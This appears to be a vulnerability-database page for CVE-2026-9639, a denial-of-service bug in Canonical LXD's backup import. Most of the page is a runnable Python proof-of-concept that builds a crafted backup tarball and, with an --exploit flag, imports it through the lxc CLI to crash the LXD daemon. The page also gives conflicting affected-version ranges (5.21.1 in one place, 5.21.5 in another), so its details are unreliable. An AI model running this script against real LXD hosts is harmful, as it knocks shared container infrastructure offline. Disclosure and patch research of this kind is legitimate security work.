Security Vulnerability Report
中文
CVE-2026-9639 CVSS 6.5 MEDIUM

CVE-2026-9639

Published: 2026-06-26 16:16:37
Last Modified: 2026-06-26 19:58:06

Description

Nil-pointer dereference in CreateCustomVolumeFromBackup in LXD up to version 6.8 and 5.21 on Linux allows an authenticated user with can_create_storage_volumes permissions to cause a denial of service via a specially crafted custom-volume backup tarball that omits the expires_at snapshot field.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Canonical LXD < 5.21.1
Canonical LXD 6.x < 6.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-9639 PoC - LXD CreateCustomVolumeFromBackup Nil-Pointer Dereference This script generates a malicious custom-volume backup tarball that omits the expires_at snapshot field to trigger a nil-pointer dereference in LXD. """ import tarfile import io import yaml import struct import sys import os import argparse def create_malicious_backup(output_path, volume_name="evil-volume"): """Create a malicious LXD custom-volume backup tarball.""" # LXD backup index.yaml structure (without expires_at field) # The expires_at field is intentionally omitted to trigger nil-pointer dereference index_yaml = { "config": {}, "name": volume_name, "snapshots": [ { "name": "snap0", # "expires_at" field is intentionally omitted (nil-pointer trigger) "config": {} } ], "version": "1.0" } # Backup configuration config_yaml = { "volume": { "name": volume_name, "type": "custom", "config": {} }, "snapshots": [ { "name": "snap0", # Intentionally missing expires_at to trigger the vulnerability "timestamp": "2026-01-01T00:00:00Z" } ] } with tarfile.open(output_path, "w:gz") as tar: # Add index.yaml without expires_at field index_data = yaml.dump(index_yaml).encode('utf-8') index_info = tarfile.TarInfo(name="backup/index.yaml") index_info.size = len(index_data) tar.addfile(index_info, io.BytesIO(index_data)) # Add backup.yaml without expires_at field config_data = yaml.dump(config_yaml).encode('utf-8') config_info = tarfile.TarInfo(name="backup/config.yaml") config_info.size = len(config_data) tar.addfile(config_info, io.BytesIO(config_data)) # Add minimal volume data placeholder placeholder_data = b"\x00" * 4096 placeholder_info = tarfile.TarInfo(name=f"backup/volume/{volume_name}.bin") placeholder_info.size = len(placeholder_data) tar.addfile(placeholder_info, io.BytesIO(placeholder_data)) print(f"[+] Malicious backup tarball created: {output_path}") print(f"[+] Volume name: {volume_name}") print(f"[+] expires_at field intentionally omitted to trigger nil-pointer dereference") def exploit_lxd(backup_path, lxd_endpoint="https://127.0.0.1:8443"): """ Send the malicious backup to LXD API to trigger the vulnerability. Requires valid LXD authentication with can_create_storage_volumes permission. """ import subprocess import json print(f"[*] Target LXD endpoint: {lxd_endpoint}") print(f"[*] Malicious backup: {backup_path}") print(f"[*] Attempting to trigger nil-pointer dereference via CreateCustomVolumeFromBackup...") # Use LXD CLI to import the malicious backup cmd = [ "lxc", "storage", "volume", "import", "default", backup_path, "--pool=default" ] print(f"[*] Executing: {' '.join(cmd)}") print(f"[!] If vulnerable, LXD daemon will crash with nil-pointer dereference panic") try: result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) print(f"[*] stdout: {result.stdout}") print(f"[*] stderr: {result.stderr}") print(f"[*] return code: {result.returncode}") except subprocess.TimeoutExpired: print("[!] Command timed out - LXD daemon may have crashed (vulnerable!)") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2026-9639 PoC") parser.add_argument("-o", "--output", default="evil_backup.tar.gz", help="Output tarball path") parser.add_argument("-n", "--name", default="evil-volume", help="Custom volume name") parser.add_argument("-e", "--endpoint", default="https://127.0.0.1:8443", help="LXD endpoint") parser.add_argument("--exploit", action="store_true", help="Attempt exploitation") args = parser.parse_args() create_malicious_backup(args.output, args.name) if args.exploit: exploit_lxd(args.output, args.endpoint) else: print(f"\n[*] To exploit, run with --exploit flag") print(f"[*] Example: python3 {sys.argv[0]} --exploit -o /tmp/evil.tar.gz")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9639", "sourceIdentifier": "[email protected]", "published": "2026-06-26T16:16:37.143", "lastModified": "2026-06-26T19:58:06.090", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nil-pointer dereference in CreateCustomVolumeFromBackup in LXD up to version 6.8 and 5.21 on Linux allows an authenticated user with can_create_storage_volumes permissions to cause a denial of service via a specially crafted custom-volume backup tarball that omits the expires_at snapshot field."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "Canonical", "product": "LXD", "defaultStatus": "unaffected", "packageName": "LXD", "platforms": ["Linux"], "repo": "https://github.com/canonical/lxd", "versions": [{"version": "5.21.0", "lessThan": "5.21.5", "versionType": "semver", "status": "affected"}, {"version": "6.0", "lessThan": "6.9", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-26T16:01:50.334142Z", "id": "CVE-2026-9639", "options": [{"exploitation": "poc"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "references": [{"url": "https://github.com/canonical/lxd/pull/18320", "source": "[email protected]"}, {"url": "https://github.com/canonical/lxd/pull/18390", "source": "[email protected]"}, {"url": "https://github.com/canonical/lxd/security/advisories/GHSA-j93m-3j9p-m5m8", "source": "[email protected]"}, {"url": "https://github.com/canonical/lxd/security/advisories/GHSA-j93m-3j9p-m5m8", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}